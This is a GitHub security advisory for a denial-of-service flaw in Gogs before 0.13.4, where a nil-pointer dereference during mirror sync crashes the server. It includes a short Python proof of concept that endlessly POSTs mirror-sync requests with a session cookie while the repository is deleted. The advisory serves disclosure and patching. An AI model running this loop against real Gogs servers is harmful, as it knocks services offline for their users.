GitHub Advisoryadvisory · Go
GHSA-cr88-6mqm-4g57 Gogs has a Denial of Service issue
MEDIUM
Official page ↗
- Aliases
- CVE-2026-22592
- Ecosystem
- Go
- Packages
- gogs.io/gogs
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-862
- Reviewed
- 2026-02-06
Affected packages
• Go gogs.io/gogs: < 0.13.4 → fixed in 0.13.4
Description
Summary
An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.
Details
If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits.
https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337
if `err != nil` `m` is alwasa `nil`
https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278
PoC
Spam mirror-sync on repo and delete this repo
code python spam mirror-sync
```py
import requests
url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
"Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}
data = {
"_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
"action": "mirror-sync",
}
while True:
print("syncing")
response = requests.post(url, headers=headers, data=data)
```
Impact
Denial of Service server crash.
Related
Alias · CVE (1)
- CVE-2026-22592 Gogs is an open source self-hosted Git service. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness
References
- https://github.com/gogs/gogs/security/advisories/GHSA-cr88-6mqm-4g57 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-22592 advisory
- https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272 web
- https://github.com/gogs/gogs package
- https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278 web
- https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 web